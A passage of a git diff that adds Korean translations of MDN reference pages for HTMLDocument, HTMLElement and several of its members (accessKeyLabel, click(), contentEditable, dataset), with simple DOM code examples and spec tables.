+<p><strong><code>HTMLDocument</code></strong>은 일반적인 (XML) 문서에서 기본적으로 존재하지 않는 특별한 프로퍼티와 메소드에 접근을 제공하는 DOM의 추상 인터페이스입니다. 특히 HTML 문서와 엘리먼트에 관련된 기능을 추가해줍니다.</p>
+
+<p>코어 {{domxref("document")}} 인터페이스에서 파생되었습니다. 메소드와 프로퍼티는 {{domxref("document")}} 페이지에 포함되어있고 <a href="/en-US/docs/DOM" title="en/DOM">DOM</a> 페이지의 해당 섹션에 구분되어 나열되어있습니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<ul>
+ <li><a href="https://www.w3.org/TR/2003/REC-DOM-Level-2-HTML-20030109/html.html">Document Object Model HTML</a></li>
+</ul>
diff --git a/files/ko/web/api/htmlelement/accesskeylabel/index.html b/files/ko/web/api/htmlelement/accesskeylabel/index.html
new file mode 100644
index 0000000000..110cf03966
--- /dev/null
+++ b/files/ko/web/api/htmlelement/accesskeylabel/index.html
@@ -0,0 +1,84 @@
+---
+title: accessKeyLabel
+slug: Web/API/HTMLElement/accessKeyLabel
+translation_of: Web/API/HTMLElement/accessKeyLabel
+---
+<div>
+<div>{{ APIRef("HTML DOM") }}</div>
+</div>
+
+<p><strong><code>HTMLElement.accessKeyLabel</code></strong> 읽기 전용 속성은 엘리먼트의 할당된 접근키를 나타내는 {{jsxref("String")}} 를 반환합니다. 존재하지 않는 경우 빈 문자열을 반환합니다.</p>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="syntaxbox"><em>label</em> = <em>element</em>.accessKeyLabel
+</pre>
+
+<h2 id="Example" name="Example">예시</h2>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">var node = document.getElementById('btn1');
+if (node.accessKeyLabel) {
+  node.title += ' [' + node.accessKeyLabel + ']';
+} else {
+  node.title += ' [' + node.accessKey + ']';
+}
+
+node.onclick = function () {
+  var p = document.createElement('p');
+  p.textContent = 'Clicked!';
+  node.parentNode.appendChild(p);
+};
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;button accesskey="h" title="Caption" id="btn1"&gt;Hover me&lt;/button&gt;
+</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{ EmbedLiveSample('Example') }}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "interaction.html#dom-accesskeylabel", "HTMLElement.accessKeyLabel")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>초기 정의로부터 변경 사항 없음.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>제거됨. <a href="https://github.com/w3c/html/pull/144">pull w3c/html#144</a>, <a href="https://github.com/w3c/html/issues/99">issue w3c/html#99</a>, <a href="https://discourse.wicg.io/t/accesskeylabel-author-accessible-info-about-shortcuts/1392/3">WICG discussion</a>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "editing.html#dom-accesskeylabel", "HTMLElement.accessKeyLabel")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>{{SpecName('HTML WHATWG')}}, 초기 정의의 스냅샷.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.HTMLElement.accessKeyLabel")}}</p>
+</div>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li>{{domxref("element.accessKey")}}</li>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/HTML/Global_attributes/accesskey">accesskey</a> 전역 속성.</li>
+</ul>
diff --git a/files/ko/web/api/htmlelement/click/index.html b/files/ko/web/api/htmlelement/click/index.html
new file mode 100644
index 0000000000..9c1c8956c0
--- /dev/null
+++ b/files/ko/web/api/htmlelement/click/index.html
@@ -0,0 +1,47 @@
+---
+title: HTMLElement.click()
+slug: Web/API/HTMLElement/click
+tags:
+  - API
+  - HTML DOM
+  - HTMLElement
+  - 레퍼런스
+  - 메소드
+translation_of: Web/API/HTMLElement/click
+---
+<div>
+<div>{{ APIRef("HTML DOM") }}</div>
+</div>
+
+<p><code><strong>HTMLElement.click()</strong></code> 메소는 엘리먼트에 마우스 클릭을 시뮬레이션합니다.</p>
+
+<p>지원하는 엘리먼트({{HTMLElement("input")}} 등)에서 <code>click()</code> 이 사용될 때, 엘리먼트의 클릭 이벤트가 실행됩니다. 그 다음, 다큐먼트 트리(또는 이벤트 체인)에서 더 상위의 엘리먼트로 버블링되며 상위 엘리먼트의 클릭 이벤트를 실행합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><em>element</em>.click()</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-2651361')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>초기 정의.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.HTMLElement.click")}}</p>
diff --git a/files/ko/web/api/htmlelement/contenteditable/index.html b/files/ko/web/api/htmlelement/contenteditable/index.html
new file mode 100644
index 0000000000..8756d6afdf
--- /dev/null
+++ b/files/ko/web/api/htmlelement/contenteditable/index.html
@@ -0,0 +1,59 @@
+---
+title: HTMLElement.contentEditable
+slug: Web/API/HTMLElement/contentEditable
+tags:
+  - API
+  - HTML DOM
+  - HTML element
+  - Property
+  - Reference
+translation_of: Web/API/HTMLElement/contentEditable
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><span class="seoSummary">{{domxref("HTMLElement")}} 요소의 <strong><code>contenteditable</code></strong> 속성은 요소의 편집 가능 여부를 나타냅니다.</span> 열거형 속성으로, 다음 중 하나의 값을 가질 수 있습니다.</p>
+
+<ul>
+ <li><code>'true'</code>는 요소가 <code>contenteditable</code>임을 의미합니다.</li>
+ <li><code>'false'</code>는 요소를 편집할 수 없음을 의미합니다.</li>
+ <li><code>'inherit'</code>은 요소가 부모의 편집 가능 여부를 상속함을 의미합니다.</li>
+</ul>
+
+<p>{{domxref("HTMLElement.isContentEditable")}} 속성으로 이 속성의 {{jsxref("Boolean")}} 계산값을 얻을 수 있습니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'interaction.html#contenteditable', 'contenteditable')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.HTMLElement.contentEditable")}}</p>
+
+<p>Internet Explorer에서 <code>contenteditable</code>은 {{htmlelement("table")}}, {{htmlelement("col")}}, {{htmlelement("colgroup")}}, {{htmlelement("tbody")}}, {{htmlelement("td")}}, {{htmlelement("tfoot")}}, {{htmlelement("th")}}, {{htmlelement("thead")}}, {{htmlelement("tr")}} 요소에 바로 적용할 수 없습니다. 대신 편집 가능한 {{htmlelement("span")}} 또는 {{htmlelement("div")}} 요소를 표의 각 칸에 배치할 수 있습니다.</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/Guide/HTML/Editable_content">콘텐츠를 편집 가능하게 만들기</a></li>
+ <li>{{domxref("HTMLElement.isContentEditable")}}</li>
+ <li>{{htmlattrxref("contenteditable")}} 전역 속성</li>
+</ul>
diff --git a/files/ko/web/api/htmlelement/dataset/index.html b/files/ko/web/api/htmlelement/dataset/index.html
new file mode 100644
index 0000000000..2b2a891dca
--- /dev/null
+++ b/files/ko/web/api/htmlelement/dataset/index.html
@@ -0,0 +1,127 @@
+---
+title: HTMLElement.dataset
+slug: Web/API/HTMLElement/dataset
+tags:
+  - API
+  - HTML DOM
+  - HTMLElement
+  - HTMLOrForeignElement
+  - Property
+  - Read-only
+  - Reference
+translation_of: Web/API/HTMLOrForeignElement/dataset
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><span class="seoSummary"><code><strong>HTMLElement.dataset</strong></code> 읽기 전용 속성은 요소의 <a href="/ko/docs/Web/HTML/Global_attributes/data-*">사용자 지정 데이터 특성</a>(<code>data-*</code>)에 대한 읽기와 쓰기 접근 방법을 HTML과 DOM 양측에 제공합니다.</span> 반환하는 값은 {{domxref("DOMStringMap")}}으로, 각 데이터 특성마다 하나의 항목을 가집니다. <code>dataset</code> 속성 자체는 읽기 전용이라는 점에 주의하세요. 모든 쓰기 작업은 <code>dataset</code> 안의, 데이터 특성을 나타내는 각각의 속성에 수행해야 합니다. 또한 HTML의 <code>data-이름</code>과, 이에 대응하는 DOM <code>dataset['이름']</code>의 <code>이름</code>은 서로 일치하지 않으나, 다음 규칙에 따라 유사함을 기억하세요.</p>
+
+<ul>
+ <li>HTML의 사용자 지정 특성 이름은 <code>data-</code>로 시작합니다. 또한 문자, 숫자, 대시(<code>-</code>), 점(<code>.</code>), 콜론(<code>:</code>), 언더스코어(<code>_</code>)만 사용할 수 있고, ASCII 대문자(<code>A</code>-<code>Z</code>)는 사용할 수 없습니다.</li>
+ <li>JavaScript의 사용자 지정 특성 이름은 HTML 이름을 카멜 표기법으로 변환한 형태로, 대시, 점 등을 모두 제거합니다.</li>
+</ul>
+
+<p>아래의 내용과 함께, <a href="/en-US/docs/Learn/HTML/Howto/Use_data_attributes">Using data attributes</a> 아티클에서는 HTML 데이터 속성을 어떻게 쓰는지 안내를 찾을 수 있습니다. </p>
+
+<h3 id="Name_conversion">Name conversion</h3>
+
+<p>dash-style 에서 camelCase로 변환: 커스텀 데이터 속성의 이름은 아래의 규칙에 따라 {{ domxref("DOMStringMap") }}의 key로 변환됩니다. </p>
+
+<ul>
+ <li>접두사 <code>data-</code> 는 삭제됩니다. (대시 포함);</li>
+ <li><code>a</code><span style="line-height: 1.5;"> 부터 </span><code>z</code> 까지 <span style="line-height: 1.5;">ASCII 소문자 앞에 오는</span> 모든 대시(<code>U+002D</code>)는 삭제되고 해당 소문자는 대문자로 변환됩니다.</li>
+ <li>다른 기호는(다른 대시들을 포함한) 바뀌지 않습니다.</li>
+</ul>
+
+<p>camelCase 에서 dash-style로 변환: key를 속성 이름으로 매핑하는 반대의 변환은 아래의 규칙을 따릅니다.:</p>
+
+<ul>
+ <li>제약 조건: 대시 바로 뒤에는 <code>a</code> 에서 <code>z</code> 까지 ASCII 소문자를 쓸 수 없습니다 (변환 전);</li>
+ <li>접두사 <code>data-</code> 가 추가됩니다;</li>
+ <li><code>A</code> 에서 <code>Z</code> 까지 모든 ASCII 대문자는 대시와 해당 소문자로 변환됩니다;</li>
+ <li>다른 문자는 변하지 않습니다.</li>
+</ul>
+
+<p>이러한 제약 조건은 반드시 두 변환이 서로의 역이 되도록 합니다.</p>
+
+<p>예를 들어, <code>data-abc-def</code> 라는 이름의 속성은 <code>abcDef</code> 라는 키에 대응합니다.</p>
+
+<h3 id="Accessing_values">Accessing values</h3>
+
+<ul>
+ <li>속성들은 <code>element.dataset.keyname</code><em>과 같이</em> dataset의 객체 속성처럼 camelCase 이름(키)을 사용해서 설정하거나 읽을 수 있습니다</li>
+ <li>속성들은 또한 <code>element.dataset[keyname]</code>과 같이 객체 속성의 괄호 신택스로 설정하거나 읽을 수 있습니다.</li>
+</ul>
+
+<h2 id="Syntax">Syntax</h2>
+
+<ul>
+ <li><em>string</em> = <em>element</em>.<strong>dataset</strong>.<em>camelCasedName</em>;</li>
+ <li><em>element.</em><strong>dataset</strong>.<em>camelCasedName</em> = <em>string</em>;</li>
+ <br>
+ <li><em>string</em> = <em>element</em>.<strong>dataset</strong>[<em>camelCasedName</em>];</li>
+ <li><em>element</em>.<strong>dataset</strong>[<em>camelCasedName</em>] = <em>string</em>;</li>
+ <li>
+  <p>HTML elements에서 사용자가 지정한 data attribute에 직접 설정할 수 있으나 attribute names는 위의 데이터 문법을 반드시 사용해야 합니다.</p>
+ </li>
+</ul>
+
+<h2 id="예시">예시</h2>
+
+<pre class="brush: html">&lt;div id="user" data-id="1234567890" data-user="johndoe" data-date-of-birth&gt;John Doe&lt;/div&gt;</pre>
+
+<pre class="brush: js">const el = document.querySelector('#user');
+
+// el.id === 'user'
+// el.dataset.id === '1234567890'
+// el.dataset.user === 'johndoe'
+// el.dataset.dateOfBirth === ''
+
+// set the data attribute
+el.dataset.dateOfBirth = '1960-10-03';
+// Result: el.dataset.dateOfBirth === 1960-10-03
+
+delete el.dataset.dateOfBirth;
+// Result: el.dataset.dateOfBirth === undefined
+
+// 'someDataAttr' in el.dataset === false
+el.dataset.someDataAttr = 'mydata';
+// Result: 'someDataAttr' in el.dataset === true
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "dom.html#dom-dataset", "HTMLElement.dataset")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from latest snapshot, {{SpecName('HTML5.1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "dom.html#dom-dataset", "HTMLElement.dataset")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Snapshot of {{SpecName('HTML WHATWG')}}, no change from {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "dom.html#dom-dataset", "HTMLElement.dataset")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Snapshot of  {{SpecName('HTML WHATWG')}}, initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("api.HTMLElement.dataset")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The HTML <a href="/en-US/docs/Web/HTML/Global_attributes/data-*"><strong>data-*</strong></a> class of global attributes.</li>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Use_data_attributes">Using data attributes</a></li>
+</ul>
diff --git a/files/ko/web/api/htmlelement/index.html b/files/ko/web/api/htmlelement/index.html
new file mode 100644
index 0000000000..b73e398f7a
--- /dev/null
+++ b/files/ko/web/api/htmlelement/index.html
@@ -0,0 +1,271 @@
+---
+title: HTMLElement
+slug: Web/API/HTMLElement
+tags:
+  - API
+  - HTML DOM
+  - Interface
+  - Reference
+translation_of: Web/API/HTMLElement
+---
+<div>
+<div>{{ APIRef("HTML DOM") }}</div>
+</div>
+
+<p><strong><code>HTMLElement</code></strong> 인터페이스는 모든 종류의 <a href="/ko/docs/Web/HTML" title="/en-US/docs/Web/HTML">HTML</a> 요소를 나타냅니다. 일부 요소는 이 인터페이스를 직접 구현하지만 나머지 요소는 <code>HTMLElement</code>를 상속한 자식 인터페이스를 구현합니다.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="속성">속성</h2>
+
+<p><em>부모인 {{domxref("Element")}}의 속성을 상속합니다. {{domxref("GlobalEventHandlers")}}, {{domxref("TouchEventHandlers")}}의 속성을 구현합니다.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLElement.accessKey")}}</dt>
+ <dd>요소에 할당된 접근 키를 나타내는 {{domxref("DOMString")}}입니다.</dd>
+ <dt>{{domxref("HTMLElement.accessKeyLabel")}} {{readonlyInline}}</dt>
+ <dd>요소에 할당된 접근 키를 포함하는 {{domxref("DOMString")}}을 반환합니다.</dd>
+ <dt>{{domxref("HTMLElement.contentEditable")}}</dt>
+ <dd>요소가 수정 가능하면 <code>"true"</code>, 그렇지 않으면 <code>"false"</code> 값을 갖는 {{domxref("DOMString")}}입니다.</dd>
+ <dt>{{domxref("HTMLElement.isContentEditable")}} {{readonlyInline}}</dt>
+ <dd>요소의 콘텐츠가 수정 가능한지 여부를 나타내는 {{domxref("Boolean")}}을 반환합니다.</dd>
+ <dt>{{domxref("HTMLElement.contextMenu")}} {{deprecated_inline}}</dt>
+ <dd>요소와 관련된 콘텍스트 메뉴를 나타내는 {{domxref("HTMLMenuElement")}}입니다. {{jsxref("null")}}일 수 있습니다.</dd>
+ <dt>{{domxref("HTMLElement.dataset")}} {{readonlyInline}}</dt>
+ <dd>요소의 <a href="https://developer.mozilla.org/ko/docs/Learn/HTML/Howto/%EB%8D%B0%EC%9D%B4%ED%84%B0_%EC%86%8D%EC%84%B1_%EC%82%AC%EC%9A%A9%ED%95%98%EA%B8%B0">사용자 지정 데이터 속성</a>(<code>data-*</code>)을 스크립트에서 읽고 쓸 수 있는 {{domxref("DOMStringMap")}}을 반환합니다.</dd>
+ <dt>{{domxref("HTMLElement.dir")}}</dt>
+ <dd>요소의 방향성을 표현하는 전역 속성 <code>dir</code> 을 나타내는 {{domxref("DOMString")}} 을 반환합니다. 가능한 값은 <code>"ltr"</code>, <code>"rtl"</code>, <code>"auto"</code> 입니다.</dd>
+ <dt>{{domxref("HTMLElement.draggable")}}</dt>
+ <dd>요소가 드래그 가능한지 여부를 나타내는 {{jsxref("Boolean")}} 을 반환합니다.</dd>
+ <dt>{{domxref("HTMLElement.dropzone")}} {{readonlyInline}}</dt>
+ <dd><code>dropzone</code> 전역 속성을 나타내고 drop 작업에 대한 동작을 설명하는 {{domxref("DOMSettableTokenList")}} 를 반환합니다.</dd>
+ <dt>{{domxref("HTMLElement.hidden")}}</dt>
+ <dd>요소가 숨김상태인지 여부를 나타내는 {{jsxref("Boolean")}} 을 반환합니다.</dd>
+ <dt>{{domxref("HTMLElement.inert")}}</dt>
+ <dd>유저 에이전트가 사용자 인터렉션 이벤트, 페이지 내 텍스트 검색("페이지에서 찾기"), 텍스트 선택의 목적으로 주어진 노드가 없는 것처럼 동작해야하는지 여부를 나타내는 {{jsxref("Boolean")}} 을 반환합니다.</dd>
+ <dt>{{domxref("HTMLElement.innerText")}}</dt>
+ <dd>노드와 그 자손의 "렌더링된" 텍스트 컨텐츠를 나타냅니다. getter 로써, 이는 사용자가 커서로 요소의 컨텐츠를 하이라이팅한 후 클립보드로 복사하면 얻을 수 있는 텍스트와 유사합니다.</dd>
+ <dt>{{domxref("HTMLElement.itemScope")}} {{experimental_inline}}</dt>
+ <dd>항목 스코프를 나타내는 {{jsxref("Boolean")}} 입니다.</dd>
+ <dt>{{domxref("HTMLElement.itemType")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>{{domxref("DOMSettableTokenList")}}… 를 반환합니다.</dd>
+ <dt>{{domxref("HTMLElement.itemId")}} {{experimental_inline}}</dt>
+ <dd>항목 ID 를 나타내는 {{domxref("DOMString")}} 입니다.</dd>
+ <dt>{{domxref("HTMLElement.itemRef")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>{{domxref("DOMSettableTokenList")}}… 를 반환합니다.</dd>
+ <dt>{{domxref("HTMLElement.itemProp")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>{{domxref("DOMSettableTokenList")}}… 를 반환합니다.</dd>
+ <dt>{{domxref("HTMLElement.itemValue")}} {{experimental_inline}}</dt>
+ <dd>항목 값을 나타내는 {{jsxref("Object")}} 를 반환합니다.</dd>
+ <dt>{{domxref("HTMLElement.lang")}}</dt>
+ <dd>요소의 속성, 텍스트, 컨텐츠의 언어를 나타내는 {{domxref("DOMString")}} 입니다.</dd>
+ <dt>{{domxref("HTMLElement.noModule")}}</dt>
+ <dd>임포트한 스크립트가 모듈 스크립트를 지원하는 유저 에이전트에서 실행될 수 있는지를 나타내는 {{jsxref("Boolean")}} 입니다.</dd>
+ <dt>{{domxref("HTMLElement.nonce")}}</dt>
+ <dd>주어진 페치(fetch)의 진행을 허용할지를 결정하기 위한 컨텐츠 보안 정책(Content Security Policy)에서 한 번 사용된 암호회된 숫자를 반환합니다.</dd>
+ <dt>{{domxref("HTMLElement.offsetHeight")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>레이아웃에 상대적인 요소의 높이를 갖는 <code>double</code> 을 반환합니다.</dd>
+ <dt>{{domxref("HTMLElement.offsetLeft")}}{{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>요소의 left border 부터 <code>offsetParent</code> 의 left border 까지의 거리를 <code>double</code> 로 반환합니다.</dd>
+ <dt>{{domxref("HTMLElement.offsetParent")}}{{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>모든 오프셋 계산이 현재 연산된 요소인 {{domxref("Element")}} 를 반환합니다.</dd>
+ <dt>{{domxref("HTMLElement.offsetTop")}}{{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>요소의 top border 부터 <code>offsetParent</code> 의 top border 까지의 거리를 <code>double</code> 로 반환합니다.</dd>
+ <dt>{{domxref("HTMLElement.offsetWidth")}}{{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>레이아웃에 상대적인 요소의 너비를 갖는 <code>double</code> 을 반환합니다.</dd>
+ <dt>{{domxref("HTMLElement.properties")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>{{domxref("HTMLPropertiesCollection")}}… 을 반환합니다.</dd>
+ <dt>{{domxref("HTMLElement.spellcheck")}}{{ gecko_minversion_inline("1.9")}}</dt>
+ <dd><a href="https://developer.mozilla.org/ko/docs/Web/HTML/Global_attributes/spellcheck" title="en/Controlling_spell_checking_in_HTML_forms">철자 검사</a>를 제어하는 {{jsxref("Boolean")}} 입니다. 모든 HTML 요소에 존재하지만, 모두에 대해 적용되지는 않습니다.</dd>
+ <dt>{{domxref("HTMLElement.style")}}</dt>
+ <dd>요소의 스타일 속성의 정의를 나타내는 {{domxref("CSSStyleDeclaration")}} 객체입니다.</dd>
+ <dt>{{domxref("HTMLElement.tabIndex")}}</dt>
+ <dd>탭 순서에서 요소의 위치를 나타내는 <code>long</code> 입니다.</dd>
+ <dt>{{domxref("HTMLElement.title")}}</dt>
+ <dd>요소에 마우스를 오버할 때 팝업 상자에 표시되는 텍스트를 갖는 {{domxref("DOMString")}} 입니다.</dd>
+ <dt>{{domxref("HTMLElement.translate")}} {{experimental_inline}}</dt>
+ <dd>번역을 나타내는 {{jsxref("Boolean")}} 입니다.</dd>
+</dl>
+
+<h3 id="이벤트_핸들러">이벤트 핸들러</h3>
+
+<p><code>onXYZ</code> 형태의 대부분의 이벤트 핸들러 속성은 {{domxref("GlobalEventHandlers")}} 또는 {{domxref("TouchEventHandlers")}} 에 정의되어 있으며 <code>HTMLElement</code> 에 의해 구현되었습니다. 다음 <code>HTMLElement</code> 에 해당하는 핸들러입니다.</p>
+
+<dl>
+ <dt>{{ domxref("HTMLElement.oncopy") }} {{ non-standard_inline() }}</dt>
+ <dd><code>copy</code> 이벤트를 위한 이벤트 핸들링 코드를 반환합니다({{bug("280959")}}).</dd>
+ <dt>{{ domxref("HTMLElement.oncut") }} {{ non-standard_inline() }}</dt>
+ <dd><code>cut</code> 이벤트를 위한 이벤트 핸들링 코드를 반환합니다({{bug("280959")}}).</dd>
+ <dt>{{ domxref("HTMLElement.onpaste") }} {{ non-standard_inline() }}</dt>
+ <dd><code>paste</code> 이벤트를 위한 이벤트 핸들링 코드를 반환합니다({{bug("280959")}}).</dd>
+ <dt>{{domxref("TouchEventHandlers.ontouchstart")}} {{non-standard_inline}}</dt>
+ <dd>{{event("touchstart")}} 이벤트를 위한 이벤트 핸들링 코드를 반환합니다.</dd>
+ <dt>{{domxref("TouchEventHandlers.ontouchend")}} {{non-standard_inline}}</dt>
+ <dd>{{event("touchend")}} 이벤트를 위한 이벤트 핸들링 코드를 반환합니다.</dd>
+ <dt>{{domxref("TouchEventHandlers.ontouchmove")}} {{non-standard_inline}}</dt>
+ <dd>{{event("touchmove")}} 이벤트를 위한 이벤트 핸들링 코드를 반환합니다.</dd>
+ <dt>{{domxref("TouchEventHandlers.ontouchenter")}} {{non-standard_inline}}</dt>
+ <dd>{{event("touchenter")}} 이벤트를 위한 이벤트 핸들링 코드를 반환합니다.</dd>
+ <dt>{{domxref("TouchEventHandlers.ontouchleave")}} {{non-standard_inline}}</dt>
+ <dd>{{event("touchleave")}} 이벤트를 위한 이벤트 핸들링 코드를 반환합니다.</dd>
+ <dt>{{domxref("TouchEventHandlers.ontouchcancel")}} {{non-standard_inline}}</dt>
+ <dd>{{event("touchcancel")}} 이벤트를 위한 이벤트 핸들링 코드를 반환합니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<p><em>부모인 {{domxref("Element")}}의 메서드를 상속합니다.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLElement.blur()")}}</dt>
+ <dd>현재 포커스된 요소로부터 키보드 포커스를 제거합니다.</dd>
+ <dt>{{domxref("HTMLElement.click()")}}</dt>
+ <dd>요소로 마우스 클릭 이벤트를 전달합니다.</dd>
+ <dt>{{domxref("HTMLElement.focus()")}}</dt>
+ <dd>요소에 현재 키보드 포커스를 생성합니다.</dd>
+ <dt>{{domxref("HTMLElement.forceSpellCheck()")}} {{experimental_inline}}</dt>
+ <dd>요소에 철자 확인자를 생성합니다.</dd>
+</dl>
+
+<h2 id="이벤트">이벤트</h2>
+
+<p>Listen to these events using <code>addEventListener()</code> or by assigning an event listener to the <code>on<em>eventname</em></code> property of this interface.</p>
+
+<dl>
+ <dt><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/invalid_event">invalid</a></code></dt>
+ <dd>Fired when an element does not satisfy its constraints during constraint validation.<br>
+ Also available via the <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/oninvalid">oninvalid</a></code> property.</dd>
+</dl>
+
+<h3 id="Animation_events">Animation events</h3>
+
+<dl>
+ <dt><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/animationcancel_event">animationcancel</a></code></dt>
+ <dd>Fired when an animation unexpectedly aborts.<br>
+ Also available via the <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/onanimationcancel">onanimationcancel</a></code> property.</dd>
+ <dt><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/animationend_event">animationend</a></code></dt>
+ <dd>Fired when an animation has completed normally.<br>
+ Also available via the <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/onanimationend">onanimationend</a></code> property.</dd>
+ <dt><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/animationiteration_event">animationiteration</a></code></dt>
+ <dd>Fired when an animation iteration has completed.<br>
+ Also available via the <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/onanimationiteration">onanimationiteration</a></code> property.</dd>
+ <dt><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/animationstart_event">animationstart</a></code></dt>
+ <dd>Fired when an animation starts.<br>
+ Also available via the <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/onanimationstart">onanimationstart</a></code> property.</dd>
+</dl>
+
+<h3 id="Input_events">Input events</h3>
+
+<dl>
+ <dt><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/beforeinput_event">beforeinput</a></code></dt>
+ <dd>Fired when the value of an {{HTMLElement("input")}}, {{HTMLElement("select")}}, or {{HTMLElement("textarea")}} element is about to be modified.</dd>
+ <dt><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/input_event">input</a></code></dt>
+ <dd>Fired when the <code>value</code> of an {{HTMLElement("input")}}, {{HTMLElement("select")}}, or {{HTMLElement("textarea")}} element has been changed.<br>
+ Also available via the <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/oninput">oninput</a></code> property.</dd>
+</dl>
+
+<h3 id="Pointer_events">Pointer events</h3>
+
+<dl>
+ <dt><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/gotpointercapture_event">gotpointercapture</a></code></dt>
+ <dd>Fired when an element captures a pointer using <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/Element/setPointerCapture">setPointerCapture()</a></code>.<br>
+ Also available via the <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/ongotpointercapture">ongotpointercapture</a></code> property.</dd>
+ <dt><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/lostpointercapture_event">lostpointercapture</a></code></dt>
+ <dd>Fired when a <a href="https://developer.mozilla.org/en-US/docs/Web/API/Pointer_events#Pointer_capture">captured pointer</a> is released.<br>
+ Also available via the <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/onlostpointercapture">onlostpointercapture</a></code> property.</dd>
+ <dt><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/pointercancel_event">pointercancel</a></code></dt>
+ <dd>Fired when a pointer event is canceled.<br>
+ Also available via the <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/onpointercancel">onpointercancel</a></code> property.</dd>
+ <dt><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/pointerdown_event">pointerdown</a></code></dt>
+ <dd>Fired when a pointer becomes active.<br>
